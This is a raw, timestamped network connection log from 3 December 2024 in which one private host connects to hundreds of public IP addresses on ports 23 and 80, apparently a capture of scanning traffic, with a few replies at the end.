Dec 3, 2024 23:01:49.669238091 CET	62862	23	192.168.2.23	107.30.233.156
Dec 3, 2024 23:01:49.669240952 CET	62862	23	192.168.2.23	115.205.127.158
Dec 3, 2024 23:01:49.669240952 CET	62862	23	192.168.2.23	23.87.65.62
Dec 3, 2024 23:01:49.669243097 CET	62862	23	192.168.2.23	18.171.96.5
Dec 3, 2024 23:01:49.669248104 CET	62862	23	192.168.2.23	149.38.32.53
Dec 3, 2024 23:01:49.669248104 CET	62862	23	192.168.2.23	143.66.111.195
Dec 3, 2024 23:01:49.669269085 CET	62862	23	192.168.2.23	169.9.5.157
Dec 3, 2024 23:01:49.669269085 CET	62862	23	192.168.2.23	82.243.171.225
Dec 3, 2024 23:01:49.669270992 CET	62862	23	192.168.2.23	167.35.240.183
Dec 3, 2024 23:01:49.669271946 CET	62862	23	192.168.2.23	174.168.50.209
Dec 3, 2024 23:01:49.669275999 CET	62862	23	192.168.2.23	32.84.223.140
Dec 3, 2024 23:01:49.674982071 CET	60046	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:49.674987078 CET	60046	80	192.168.2.23	100.160.116.76
Dec 3, 2024 23:01:49.674989939 CET	60046	80	192.168.2.23	130.191.7.151
Dec 3, 2024 23:01:49.674995899 CET	60046	80	192.168.2.23	187.154.147.244
Dec 3, 2024 23:01:49.674995899 CET	60046	80	192.168.2.23	181.128.88.109
Dec 3, 2024 23:01:49.675000906 CET	60046	80	192.168.2.23	163.208.214.77
Dec 3, 2024 23:01:49.675013065 CET	60046	80	192.168.2.23	52.100.89.75
Dec 3, 2024 23:01:49.675014019 CET	60046	80	192.168.2.23	49.100.109.83
Dec 3, 2024 23:01:49.675018072 CET	60046	80	192.168.2.23	187.218.241.65
Dec 3, 2024 23:01:49.675029039 CET	60046	80	192.168.2.23	27.59.141.254
Dec 3, 2024 23:01:49.675033092 CET	60046	80	192.168.2.23	126.253.27.99
Dec 3, 2024 23:01:49.675038099 CET	60046	80	192.168.2.23	95.197.63.38
Dec 3, 2024 23:01:49.675043106 CET	60046	80	192.168.2.23	38.185.219.176
Dec 3, 2024 23:01:49.675046921 CET	60046	80	192.168.2.23	40.238.157.50
Dec 3, 2024 23:01:49.675055027 CET	60046	80	192.168.2.23	61.187.56.88
Dec 3, 2024 23:01:49.675057888 CET	60046	80	192.168.2.23	223.252.143.201
Dec 3, 2024 23:01:49.675057888 CET	60046	80	192.168.2.23	195.47.120.158
Dec 3, 2024 23:01:49.675065994 CET	60046	80	192.168.2.23	148.21.254.174
Dec 3, 2024 23:01:49.675074100 CET	60046	80	192.168.2.23	161.63.106.214
Dec 3, 2024 23:01:49.675076962 CET	60046	80	192.168.2.23	149.2.142.155
Dec 3, 2024 23:01:49.675076962 CET	60046	80	192.168.2.23	204.239.71.13
Dec 3, 2024 23:01:49.675087929 CET	60046	80	192.168.2.23	125.114.142.52
Dec 3, 2024 23:01:49.675093889 CET	60046	80	192.168.2.23	44.62.5.19
Dec 3, 2024 23:01:49.675100088 CET	60046	80	192.168.2.23	31.87.237.46
Dec 3, 2024 23:01:49.675102949 CET	60046	80	192.168.2.23	31.220.227.152
Dec 3, 2024 23:01:49.675102949 CET	60046	80	192.168.2.23	73.4.67.1
Dec 3, 2024 23:01:49.675102949 CET	60046	80	192.168.2.23	186.197.191.206
Dec 3, 2024 23:01:49.675106049 CET	60046	80	192.168.2.23	123.78.4.97
Dec 3, 2024 23:01:49.675121069 CET	60046	80	192.168.2.23	178.204.15.22
Dec 3, 2024 23:01:49.675126076 CET	60046	80	192.168.2.23	94.166.2.81
Dec 3, 2024 23:01:49.675127029 CET	60046	80	192.168.2.23	153.123.235.210
Dec 3, 2024 23:01:49.675129890 CET	60046	80	192.168.2.23	94.134.164.146
Dec 3, 2024 23:01:49.675131083 CET	60046	80	192.168.2.23	134.82.34.89
Dec 3, 2024 23:01:49.675133944 CET	60046	80	192.168.2.23	198.66.85.53
Dec 3, 2024 23:01:49.675148964 CET	60046	80	192.168.2.23	43.85.207.92
Dec 3, 2024 23:01:49.675148964 CET	60046	80	192.168.2.23	88.50.252.190
Dec 3, 2024 23:01:49.675148964 CET	60046	80	192.168.2.23	136.59.208.220
Dec 3, 2024 23:01:49.675151110 CET	60046	80	192.168.2.23	216.207.94.34
Dec 3, 2024 23:01:49.675158978 CET	60046	80	192.168.2.23	18.185.168.133
Dec 3, 2024 23:01:49.675167084 CET	60046	80	192.168.2.23	207.226.37.175
Dec 3, 2024 23:01:49.675167084 CET	60046	80	192.168.2.23	133.117.143.109
Dec 3, 2024 23:01:49.675177097 CET	60046	80	192.168.2.23	57.171.33.251
Dec 3, 2024 23:01:49.675177097 CET	60046	80	192.168.2.23	157.89.167.57
Dec 3, 2024 23:01:49.675182104 CET	60046	80	192.168.2.23	70.88.56.36
Dec 3, 2024 23:01:49.675199986 CET	60046	80	192.168.2.23	206.79.247.143
Dec 3, 2024 23:01:49.675204039 CET	60046	80	192.168.2.23	128.136.105.153
Dec 3, 2024 23:01:49.675204039 CET	60046	80	192.168.2.23	9.108.91.12
Dec 3, 2024 23:01:49.675205946 CET	60046	80	192.168.2.23	129.181.197.109
Dec 3, 2024 23:01:49.675215960 CET	60046	80	192.168.2.23	23.25.123.195
Dec 3, 2024 23:01:49.675216913 CET	60046	80	192.168.2.23	183.79.89.79
Dec 3, 2024 23:01:49.675216913 CET	60046	80	192.168.2.23	158.67.179.248
Dec 3, 2024 23:01:49.675219059 CET	60046	80	192.168.2.23	17.67.218.159
Dec 3, 2024 23:01:49.675219059 CET	60046	80	192.168.2.23	108.144.58.246
Dec 3, 2024 23:01:49.675230026 CET	60046	80	192.168.2.23	223.151.55.89
Dec 3, 2024 23:01:49.675231934 CET	60046	80	192.168.2.23	74.1.184.72
Dec 3, 2024 23:01:49.675231934 CET	60046	80	192.168.2.23	164.94.63.66
Dec 3, 2024 23:01:49.675235987 CET	60046	80	192.168.2.23	207.67.10.190
Dec 3, 2024 23:01:49.675241947 CET	60046	80	192.168.2.23	193.141.170.147
Dec 3, 2024 23:01:49.675241947 CET	60046	80	192.168.2.23	200.181.142.29
Dec 3, 2024 23:01:49.675252914 CET	60046	80	192.168.2.23	163.72.16.180
Dec 3, 2024 23:01:49.675257921 CET	60046	80	192.168.2.23	58.215.75.153
Dec 3, 2024 23:01:49.675257921 CET	60046	80	192.168.2.23	27.207.236.68
Dec 3, 2024 23:01:49.675268888 CET	60046	80	192.168.2.23	41.197.194.68
Dec 3, 2024 23:01:49.675276041 CET	60046	80	192.168.2.23	4.225.210.106
Dec 3, 2024 23:01:49.675282001 CET	60046	80	192.168.2.23	133.58.124.232
Dec 3, 2024 23:01:49.675288916 CET	60046	80	192.168.2.23	140.117.48.139
Dec 3, 2024 23:01:49.675295115 CET	60046	80	192.168.2.23	1.75.137.118
Dec 3, 2024 23:01:49.675297022 CET	60046	80	192.168.2.23	140.45.65.238
Dec 3, 2024 23:01:49.675299883 CET	60046	80	192.168.2.23	98.191.221.70
Dec 3, 2024 23:01:49.675302029 CET	60046	80	192.168.2.23	199.5.79.234
Dec 3, 2024 23:01:49.675307035 CET	60046	80	192.168.2.23	141.54.36.22
Dec 3, 2024 23:01:49.675317049 CET	60046	80	192.168.2.23	128.142.121.38
Dec 3, 2024 23:01:49.675318003 CET	60046	80	192.168.2.23	45.243.202.142
Dec 3, 2024 23:01:49.675321102 CET	60046	80	192.168.2.23	72.50.194.157
Dec 3, 2024 23:01:49.675331116 CET	60046	80	192.168.2.23	99.55.119.42
Dec 3, 2024 23:01:49.675342083 CET	60046	80	192.168.2.23	171.89.192.236
Dec 3, 2024 23:01:49.675342083 CET	60046	80	192.168.2.23	17.148.131.230
Dec 3, 2024 23:01:49.675343037 CET	60046	80	192.168.2.23	52.172.219.165
Dec 3, 2024 23:01:49.675345898 CET	60046	80	192.168.2.23	68.139.180.225
Dec 3, 2024 23:01:49.675348043 CET	60046	80	192.168.2.23	8.72.68.251
Dec 3, 2024 23:01:49.675353050 CET	60046	80	192.168.2.23	122.63.24.151
Dec 3, 2024 23:01:49.675355911 CET	60046	80	192.168.2.23	92.63.133.250
Dec 3, 2024 23:01:49.675355911 CET	60046	80	192.168.2.23	202.229.250.201
Dec 3, 2024 23:01:49.675355911 CET	60046	80	192.168.2.23	177.55.85.248
Dec 3, 2024 23:01:49.675365925 CET	60046	80	192.168.2.23	76.39.68.253
Dec 3, 2024 23:01:49.675365925 CET	60046	80	192.168.2.23	61.154.229.6
Dec 3, 2024 23:01:49.675365925 CET	60046	80	192.168.2.23	117.64.208.176
Dec 3, 2024 23:01:49.675365925 CET	60046	80	192.168.2.23	27.51.190.98
Dec 3, 2024 23:01:49.675374985 CET	60046	80	192.168.2.23	117.183.227.31
Dec 3, 2024 23:01:49.675374985 CET	60046	80	192.168.2.23	92.237.186.188
Dec 3, 2024 23:01:49.675374985 CET	60046	80	192.168.2.23	38.167.251.22
Dec 3, 2024 23:01:49.675388098 CET	60046	80	192.168.2.23	185.51.129.98
Dec 3, 2024 23:01:49.675390959 CET	60046	80	192.168.2.23	137.219.241.204
Dec 3, 2024 23:01:49.675395012 CET	60046	80	192.168.2.23	138.150.164.77
Dec 3, 2024 23:01:49.675396919 CET	60046	80	192.168.2.23	222.119.231.248
Dec 3, 2024 23:01:49.675396919 CET	60046	80	192.168.2.23	221.40.88.44
Dec 3, 2024 23:01:49.675415039 CET	60046	80	192.168.2.23	218.250.107.180
Dec 3, 2024 23:01:49.675417900 CET	60046	80	192.168.2.23	40.32.26.139
Dec 3, 2024 23:01:49.675419092 CET	60046	80	192.168.2.23	114.148.198.161
Dec 3, 2024 23:01:49.675424099 CET	60046	80	192.168.2.23	177.203.228.232
Dec 3, 2024 23:01:49.675424099 CET	60046	80	192.168.2.23	74.111.164.23
Dec 3, 2024 23:01:49.675426006 CET	60046	80	192.168.2.23	107.86.129.29
Dec 3, 2024 23:01:49.675426960 CET	60046	80	192.168.2.23	36.225.255.200
Dec 3, 2024 23:01:49.675435066 CET	60046	80	192.168.2.23	42.127.121.185
Dec 3, 2024 23:01:49.675435066 CET	60046	80	192.168.2.23	132.32.5.242
Dec 3, 2024 23:01:49.675436020 CET	60046	80	192.168.2.23	4.101.116.153
Dec 3, 2024 23:01:49.675435066 CET	60046	80	192.168.2.23	19.207.118.167
Dec 3, 2024 23:01:49.675437927 CET	60046	80	192.168.2.23	189.115.227.196
Dec 3, 2024 23:01:49.675436020 CET	60046	80	192.168.2.23	78.10.111.66
Dec 3, 2024 23:01:49.675435066 CET	60046	80	192.168.2.23	168.114.225.35
Dec 3, 2024 23:01:49.675436020 CET	60046	80	192.168.2.23	99.33.200.179
Dec 3, 2024 23:01:49.675448895 CET	60046	80	192.168.2.23	114.29.117.179
Dec 3, 2024 23:01:49.675448895 CET	60046	80	192.168.2.23	203.226.244.140
Dec 3, 2024 23:01:49.675451994 CET	60046	80	192.168.2.23	43.15.222.86
Dec 3, 2024 23:01:49.675465107 CET	60046	80	192.168.2.23	63.77.57.40
Dec 3, 2024 23:01:49.675471067 CET	60046	80	192.168.2.23	171.9.90.183
Dec 3, 2024 23:01:49.675472975 CET	60046	80	192.168.2.23	128.130.142.150
Dec 3, 2024 23:01:49.675472975 CET	60046	80	192.168.2.23	160.104.34.129
Dec 3, 2024 23:01:49.675476074 CET	60046	80	192.168.2.23	192.192.179.194
Dec 3, 2024 23:01:49.675476074 CET	60046	80	192.168.2.23	174.48.98.134
Dec 3, 2024 23:01:49.675477028 CET	60046	80	192.168.2.23	175.219.187.141
Dec 3, 2024 23:01:49.675481081 CET	60046	80	192.168.2.23	45.151.229.145
Dec 3, 2024 23:01:49.675482988 CET	60046	80	192.168.2.23	41.165.166.116
Dec 3, 2024 23:01:49.675497055 CET	60046	80	192.168.2.23	194.28.148.130
Dec 3, 2024 23:01:49.675499916 CET	60046	80	192.168.2.23	113.219.244.218
Dec 3, 2024 23:01:49.675501108 CET	60046	80	192.168.2.23	159.70.18.87
Dec 3, 2024 23:01:49.675508976 CET	60046	80	192.168.2.23	140.230.33.59
Dec 3, 2024 23:01:49.675508976 CET	60046	80	192.168.2.23	90.141.163.164
Dec 3, 2024 23:01:49.675513983 CET	60046	80	192.168.2.23	118.167.241.97
Dec 3, 2024 23:01:49.675513983 CET	60046	80	192.168.2.23	134.130.65.125
Dec 3, 2024 23:01:49.675515890 CET	60046	80	192.168.2.23	188.82.95.220
Dec 3, 2024 23:01:49.675522089 CET	60046	80	192.168.2.23	157.220.120.77
Dec 3, 2024 23:01:49.675523043 CET	60046	80	192.168.2.23	218.3.0.99
Dec 3, 2024 23:01:49.675529957 CET	60046	80	192.168.2.23	84.97.181.64
Dec 3, 2024 23:01:49.675534010 CET	60046	80	192.168.2.23	111.141.181.48
Dec 3, 2024 23:01:49.675534010 CET	60046	80	192.168.2.23	5.161.129.220
Dec 3, 2024 23:01:49.675535917 CET	60046	80	192.168.2.23	50.60.45.234
Dec 3, 2024 23:01:49.675535917 CET	60046	80	192.168.2.23	12.180.172.210
Dec 3, 2024 23:01:49.675535917 CET	60046	80	192.168.2.23	172.102.81.36
Dec 3, 2024 23:01:49.675540924 CET	60046	80	192.168.2.23	178.203.48.220
Dec 3, 2024 23:01:49.675542116 CET	60046	80	192.168.2.23	68.199.248.63
Dec 3, 2024 23:01:49.675544024 CET	60046	80	192.168.2.23	23.28.157.131
Dec 3, 2024 23:01:49.675544024 CET	60046	80	192.168.2.23	140.238.144.217
Dec 3, 2024 23:01:49.675544977 CET	60046	80	192.168.2.23	83.26.161.203
Dec 3, 2024 23:01:49.675544977 CET	60046	80	192.168.2.23	178.81.156.197
Dec 3, 2024 23:01:49.675550938 CET	60046	80	192.168.2.23	104.143.123.50
Dec 3, 2024 23:01:49.675553083 CET	60046	80	192.168.2.23	48.44.23.168
Dec 3, 2024 23:01:49.675553083 CET	60046	80	192.168.2.23	110.160.80.219
Dec 3, 2024 23:01:49.675554037 CET	60046	80	192.168.2.23	14.113.27.247
Dec 3, 2024 23:01:49.675558090 CET	60046	80	192.168.2.23	80.4.59.110
Dec 3, 2024 23:01:49.675564051 CET	60046	80	192.168.2.23	203.126.122.210
Dec 3, 2024 23:01:49.675571918 CET	60046	80	192.168.2.23	32.158.24.65
Dec 3, 2024 23:01:49.675575018 CET	60046	80	192.168.2.23	102.120.27.216
Dec 3, 2024 23:01:49.675578117 CET	60046	80	192.168.2.23	174.55.235.165
Dec 3, 2024 23:01:49.675585985 CET	60046	80	192.168.2.23	206.112.132.201
Dec 3, 2024 23:01:49.675592899 CET	60046	80	192.168.2.23	52.129.147.47
Dec 3, 2024 23:01:49.675592899 CET	60046	80	192.168.2.23	95.56.134.92
Dec 3, 2024 23:01:49.675592899 CET	60046	80	192.168.2.23	68.182.220.240
Dec 3, 2024 23:01:49.675606966 CET	60046	80	192.168.2.23	112.138.200.246
Dec 3, 2024 23:01:49.675614119 CET	60046	80	192.168.2.23	79.32.40.8
Dec 3, 2024 23:01:49.675620079 CET	60046	80	192.168.2.23	122.163.210.79
Dec 3, 2024 23:01:49.675621986 CET	60046	80	192.168.2.23	114.160.245.227
Dec 3, 2024 23:01:49.675626040 CET	60046	80	192.168.2.23	13.66.108.251
Dec 3, 2024 23:01:49.675626040 CET	60046	80	192.168.2.23	158.125.111.115
Dec 3, 2024 23:01:49.675628901 CET	60046	80	192.168.2.23	123.129.158.84
Dec 3, 2024 23:01:49.675628901 CET	60046	80	192.168.2.23	54.125.179.19
Dec 3, 2024 23:01:49.675635099 CET	60046	80	192.168.2.23	210.233.153.160
Dec 3, 2024 23:01:49.675636053 CET	60046	80	192.168.2.23	120.147.115.254
Dec 3, 2024 23:01:49.675637960 CET	60046	80	192.168.2.23	8.42.122.226
Dec 3, 2024 23:01:49.675642967 CET	60046	80	192.168.2.23	185.67.140.72
Dec 3, 2024 23:01:49.675647020 CET	60046	80	192.168.2.23	91.3.33.138
Dec 3, 2024 23:01:49.675653934 CET	60046	80	192.168.2.23	51.62.154.106
Dec 3, 2024 23:01:49.675659895 CET	60046	80	192.168.2.23	161.200.100.219
Dec 3, 2024 23:01:49.675667048 CET	60046	80	192.168.2.23	108.176.31.16
Dec 3, 2024 23:01:49.675669909 CET	60046	80	192.168.2.23	180.153.237.141
Dec 3, 2024 23:01:49.675688028 CET	60046	80	192.168.2.23	148.50.38.148
Dec 3, 2024 23:01:49.675688982 CET	60046	80	192.168.2.23	8.46.48.155
Dec 3, 2024 23:01:49.675688028 CET	60046	80	192.168.2.23	40.11.220.75
Dec 3, 2024 23:01:49.675690889 CET	60046	80	192.168.2.23	204.49.144.77
Dec 3, 2024 23:01:49.675692081 CET	60046	80	192.168.2.23	123.137.57.134
Dec 3, 2024 23:01:49.675694942 CET	60046	80	192.168.2.23	105.171.224.8
Dec 3, 2024 23:01:49.675695896 CET	60046	80	192.168.2.23	99.154.199.83
Dec 3, 2024 23:01:49.675698996 CET	60046	80	192.168.2.23	135.117.243.13
Dec 3, 2024 23:01:49.675699949 CET	60046	80	192.168.2.23	131.217.64.134
Dec 3, 2024 23:01:49.675719976 CET	60046	80	192.168.2.23	103.126.27.138
Dec 3, 2024 23:01:49.675720930 CET	60046	80	192.168.2.23	105.230.141.57
Dec 3, 2024 23:01:49.675724983 CET	60046	80	192.168.2.23	74.136.53.84
Dec 3, 2024 23:01:49.675728083 CET	60046	80	192.168.2.23	96.190.187.182
Dec 3, 2024 23:01:49.675741911 CET	60046	80	192.168.2.23	210.63.193.160
Dec 3, 2024 23:01:49.675744057 CET	60046	80	192.168.2.23	91.180.114.60
Dec 3, 2024 23:01:49.675748110 CET	60046	80	192.168.2.23	132.30.197.138
Dec 3, 2024 23:01:49.675749063 CET	60046	80	192.168.2.23	43.102.92.185
Dec 3, 2024 23:01:49.675755978 CET	60046	80	192.168.2.23	31.60.175.84
Dec 3, 2024 23:01:49.675757885 CET	60046	80	192.168.2.23	185.192.60.176
Dec 3, 2024 23:01:49.675760984 CET	60046	80	192.168.2.23	35.228.5.46
Dec 3, 2024 23:01:49.675761938 CET	60046	80	192.168.2.23	205.226.119.47
Dec 3, 2024 23:01:49.675762892 CET	60046	80	192.168.2.23	83.143.136.66
Dec 3, 2024 23:01:49.675766945 CET	60046	80	192.168.2.23	174.0.29.22
Dec 3, 2024 23:01:49.675766945 CET	60046	80	192.168.2.23	158.155.250.0
Dec 3, 2024 23:01:49.675770998 CET	60046	80	192.168.2.23	158.42.172.161
Dec 3, 2024 23:01:49.675770998 CET	60046	80	192.168.2.23	65.225.217.53
Dec 3, 2024 23:01:49.675781012 CET	60046	80	192.168.2.23	48.232.63.108
Dec 3, 2024 23:01:49.675781012 CET	60046	80	192.168.2.23	85.248.65.52
Dec 3, 2024 23:01:49.675781012 CET	60046	80	192.168.2.23	185.92.117.170
Dec 3, 2024 23:01:49.675786018 CET	60046	80	192.168.2.23	38.228.186.115
Dec 3, 2024 23:01:49.675792933 CET	60046	80	192.168.2.23	213.157.188.242
Dec 3, 2024 23:01:49.675792933 CET	60046	80	192.168.2.23	74.95.192.223
Dec 3, 2024 23:01:49.675793886 CET	60046	80	192.168.2.23	136.71.112.148
Dec 3, 2024 23:01:49.675793886 CET	60046	80	192.168.2.23	204.242.247.81
Dec 3, 2024 23:01:49.675800085 CET	60046	80	192.168.2.23	124.0.51.35
Dec 3, 2024 23:01:49.675803900 CET	60046	80	192.168.2.23	157.26.105.118
Dec 3, 2024 23:01:49.675806046 CET	60046	80	192.168.2.23	190.118.145.231
Dec 3, 2024 23:01:49.675806999 CET	60046	80	192.168.2.23	57.132.137.146
Dec 3, 2024 23:01:49.675810099 CET	60046	80	192.168.2.23	176.127.124.213
Dec 3, 2024 23:01:49.675810099 CET	60046	80	192.168.2.23	222.206.161.71
Dec 3, 2024 23:01:49.675810099 CET	60046	80	192.168.2.23	105.64.158.162
Dec 3, 2024 23:01:49.675810099 CET	60046	80	192.168.2.23	169.165.34.1
Dec 3, 2024 23:01:49.675810099 CET	60046	80	192.168.2.23	38.235.162.181
Dec 3, 2024 23:01:49.675812960 CET	60046	80	192.168.2.23	59.249.87.211
Dec 3, 2024 23:01:49.675823927 CET	60046	80	192.168.2.23	81.75.209.214
Dec 3, 2024 23:01:49.675826073 CET	60046	80	192.168.2.23	218.160.220.25
Dec 3, 2024 23:01:49.675826073 CET	60046	80	192.168.2.23	111.92.149.224
Dec 3, 2024 23:01:49.675829887 CET	60046	80	192.168.2.23	205.56.32.11
Dec 3, 2024 23:01:49.675829887 CET	60046	80	192.168.2.23	70.225.132.226
Dec 3, 2024 23:01:49.675829887 CET	60046	80	192.168.2.23	135.32.225.124
Dec 3, 2024 23:01:49.675832987 CET	60046	80	192.168.2.23	77.84.77.4
Dec 3, 2024 23:01:49.675837994 CET	60046	80	192.168.2.23	198.148.96.239
Dec 3, 2024 23:01:49.675839901 CET	60046	80	192.168.2.23	148.234.185.114
Dec 3, 2024 23:01:49.675839901 CET	60046	80	192.168.2.23	117.69.36.17
Dec 3, 2024 23:01:49.675841093 CET	60046	80	192.168.2.23	122.20.3.145
Dec 3, 2024 23:01:49.675841093 CET	60046	80	192.168.2.23	148.233.173.128
Dec 3, 2024 23:01:49.675848007 CET	60046	80	192.168.2.23	186.229.124.186
Dec 3, 2024 23:01:49.675856113 CET	60046	80	192.168.2.23	193.227.202.146
Dec 3, 2024 23:01:49.675867081 CET	60046	80	192.168.2.23	170.223.157.186
Dec 3, 2024 23:01:49.675868988 CET	60046	80	192.168.2.23	60.118.49.138
Dec 3, 2024 23:01:49.675874949 CET	60046	80	192.168.2.23	171.238.176.97
Dec 3, 2024 23:01:49.675878048 CET	60046	80	192.168.2.23	180.236.198.183
Dec 3, 2024 23:01:49.675878048 CET	60046	80	192.168.2.23	110.186.62.163
Dec 3, 2024 23:01:49.675879955 CET	60046	80	192.168.2.23	213.55.219.35
Dec 3, 2024 23:01:49.675894976 CET	60046	80	192.168.2.23	155.177.178.8
Dec 3, 2024 23:01:49.675905943 CET	60046	80	192.168.2.23	95.95.133.24
Dec 3, 2024 23:01:49.675910950 CET	60046	80	192.168.2.23	96.129.210.151
Dec 3, 2024 23:01:49.675910950 CET	60046	80	192.168.2.23	159.217.108.75
Dec 3, 2024 23:01:49.675914049 CET	60046	80	192.168.2.23	135.232.190.154
Dec 3, 2024 23:01:49.675915956 CET	60046	80	192.168.2.23	140.144.160.29
Dec 3, 2024 23:01:49.675920963 CET	60046	80	192.168.2.23	185.0.18.23
Dec 3, 2024 23:01:49.675931931 CET	60046	80	192.168.2.23	183.185.41.224
Dec 3, 2024 23:01:49.675935030 CET	60046	80	192.168.2.23	210.17.66.52
Dec 3, 2024 23:01:49.675935030 CET	60046	80	192.168.2.23	152.137.78.117
Dec 3, 2024 23:01:49.675942898 CET	60046	80	192.168.2.23	164.196.151.116
Dec 3, 2024 23:01:49.675950050 CET	60046	80	192.168.2.23	85.27.5.58
Dec 3, 2024 23:01:49.675951004 CET	60046	80	192.168.2.23	206.141.235.52
Dec 3, 2024 23:01:49.675954103 CET	60046	80	192.168.2.23	68.112.128.176
Dec 3, 2024 23:01:49.675954103 CET	60046	80	192.168.2.23	206.74.90.91
Dec 3, 2024 23:01:49.675961018 CET	60046	80	192.168.2.23	97.194.33.56
Dec 3, 2024 23:01:49.675961971 CET	60046	80	192.168.2.23	101.240.97.249
Dec 3, 2024 23:01:49.675961971 CET	60046	80	192.168.2.23	70.112.159.1
Dec 3, 2024 23:01:49.675961971 CET	60046	80	192.168.2.23	209.221.113.173
Dec 3, 2024 23:01:49.675962925 CET	60046	80	192.168.2.23	167.70.185.139
Dec 3, 2024 23:01:49.675962925 CET	60046	80	192.168.2.23	109.64.110.21
Dec 3, 2024 23:01:49.675962925 CET	60046	80	192.168.2.23	195.25.220.109
Dec 3, 2024 23:01:49.675970078 CET	60046	80	192.168.2.23	155.134.151.124
Dec 3, 2024 23:01:49.675970078 CET	60046	80	192.168.2.23	139.63.3.80
Dec 3, 2024 23:01:49.675971031 CET	60046	80	192.168.2.23	86.236.59.152
Dec 3, 2024 23:01:49.675971031 CET	60046	80	192.168.2.23	31.13.60.203
Dec 3, 2024 23:01:49.675981045 CET	60046	80	192.168.2.23	36.49.75.217
Dec 3, 2024 23:01:49.675985098 CET	60046	80	192.168.2.23	179.171.86.237
Dec 3, 2024 23:01:49.675996065 CET	60046	80	192.168.2.23	147.40.84.242
Dec 3, 2024 23:01:49.676002979 CET	60046	80	192.168.2.23	64.229.124.15
Dec 3, 2024 23:01:49.676003933 CET	60046	80	192.168.2.23	181.238.66.88
Dec 3, 2024 23:01:49.676007032 CET	60046	80	192.168.2.23	166.222.132.22
Dec 3, 2024 23:01:49.676014900 CET	60046	80	192.168.2.23	12.48.216.219
Dec 3, 2024 23:01:49.676028967 CET	60046	80	192.168.2.23	12.140.166.103
Dec 3, 2024 23:01:49.676032066 CET	60046	80	192.168.2.23	210.28.217.9
Dec 3, 2024 23:01:49.676033974 CET	60046	80	192.168.2.23	107.243.250.91
Dec 3, 2024 23:01:49.676034927 CET	60046	80	192.168.2.23	38.141.80.231
Dec 3, 2024 23:01:49.676034927 CET	60046	80	192.168.2.23	158.156.112.126
Dec 3, 2024 23:01:49.676050901 CET	60046	80	192.168.2.23	162.190.253.167
Dec 3, 2024 23:01:49.676052094 CET	60046	80	192.168.2.23	141.68.126.10
Dec 3, 2024 23:01:49.676058054 CET	60046	80	192.168.2.23	83.127.5.74
Dec 3, 2024 23:01:49.676059008 CET	60046	80	192.168.2.23	32.242.73.132
Dec 3, 2024 23:01:49.676059008 CET	60046	80	192.168.2.23	207.5.115.189
Dec 3, 2024 23:01:49.676063061 CET	60046	80	192.168.2.23	88.112.154.96
Dec 3, 2024 23:01:49.676064968 CET	60046	80	192.168.2.23	88.131.56.37
Dec 3, 2024 23:01:49.676081896 CET	60046	80	192.168.2.23	47.244.150.205
Dec 3, 2024 23:01:49.676086903 CET	60046	80	192.168.2.23	2.181.45.172
Dec 3, 2024 23:01:49.676090002 CET	60046	80	192.168.2.23	134.2.168.17
Dec 3, 2024 23:01:49.676090002 CET	60046	80	192.168.2.23	48.90.73.240
Dec 3, 2024 23:01:49.676099062 CET	60046	80	192.168.2.23	114.191.165.6
Dec 3, 2024 23:01:49.676100016 CET	60046	80	192.168.2.23	17.210.212.230
Dec 3, 2024 23:01:49.676110983 CET	60046	80	192.168.2.23	117.238.231.115
Dec 3, 2024 23:01:49.676112890 CET	60046	80	192.168.2.23	132.206.245.78
Dec 3, 2024 23:01:49.676117897 CET	60046	80	192.168.2.23	130.109.253.243
Dec 3, 2024 23:01:49.676124096 CET	60046	80	192.168.2.23	154.13.88.147
Dec 3, 2024 23:01:49.676137924 CET	60046	80	192.168.2.23	75.191.186.120
Dec 3, 2024 23:01:49.676137924 CET	60046	80	192.168.2.23	17.41.231.12
Dec 3, 2024 23:01:49.676139116 CET	60046	80	192.168.2.23	118.227.166.242
Dec 3, 2024 23:01:49.676139116 CET	60046	80	192.168.2.23	192.171.112.86
Dec 3, 2024 23:01:49.676141024 CET	60046	80	192.168.2.23	105.20.126.61
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	61.84.29.60
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	164.29.159.132
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	32.148.156.2
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	82.17.179.74
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	212.10.251.113
Dec 3, 2024 23:01:49.676150084 CET	60046	80	192.168.2.23	120.4.156.164
Dec 3, 2024 23:01:49.676152945 CET	60046	80	192.168.2.23	139.251.125.216
Dec 3, 2024 23:01:49.676155090 CET	60046	80	192.168.2.23	208.255.179.118
Dec 3, 2024 23:01:49.676155090 CET	60046	80	192.168.2.23	92.239.170.3
Dec 3, 2024 23:01:49.676155090 CET	60046	80	192.168.2.23	67.247.73.188
Dec 3, 2024 23:01:49.676161051 CET	60046	80	192.168.2.23	102.150.26.125
Dec 3, 2024 23:01:49.676161051 CET	60046	80	192.168.2.23	23.66.143.229
Dec 3, 2024 23:01:49.676162004 CET	60046	80	192.168.2.23	145.30.106.209
Dec 3, 2024 23:01:49.676167011 CET	60046	80	192.168.2.23	159.211.29.32
Dec 3, 2024 23:01:49.676167011 CET	60046	80	192.168.2.23	51.46.33.226
Dec 3, 2024 23:01:49.676167011 CET	60046	80	192.168.2.23	199.110.131.102
Dec 3, 2024 23:01:49.676167965 CET	60046	80	192.168.2.23	27.99.232.181
Dec 3, 2024 23:01:49.676167965 CET	60046	80	192.168.2.23	157.164.241.120
Dec 3, 2024 23:01:49.676173925 CET	60046	80	192.168.2.23	94.178.33.52
Dec 3, 2024 23:01:49.676189899 CET	60046	80	192.168.2.23	91.70.116.13
Dec 3, 2024 23:01:49.676193953 CET	60046	80	192.168.2.23	68.85.248.38
Dec 3, 2024 23:01:49.676316977 CET	55322	80	192.168.2.23	151.59.53.207
Dec 3, 2024 23:01:49.698589087 CET	57192	80	192.168.2.23	1.57.198.16
Dec 3, 2024 23:01:49.698592901 CET	49548	80	192.168.2.23	144.233.250.218
Dec 3, 2024 23:01:49.789921999 CET	23	62862	178.119.59.203	192.168.2.23
Dec 3, 2024 23:01:49.789937973 CET	23	62862	106.102.198.95	192.168.2.23
Dec 3, 2024 23:01:49.789958000 CET	23	62862	158.153.100.242	192.168.2.23
Dec 3, 2024 23:01:49.789969921 CET	23	62862	144.174.117.98	192.168.2.23
Dec 3, 2024 23:01:49.789978981 CET	23	62862	172.84.113.72	192.168.2.23
Dec 3, 2024 23:01:49.789988041 CET	23	62862	182.75.224.225	192.168.2.23
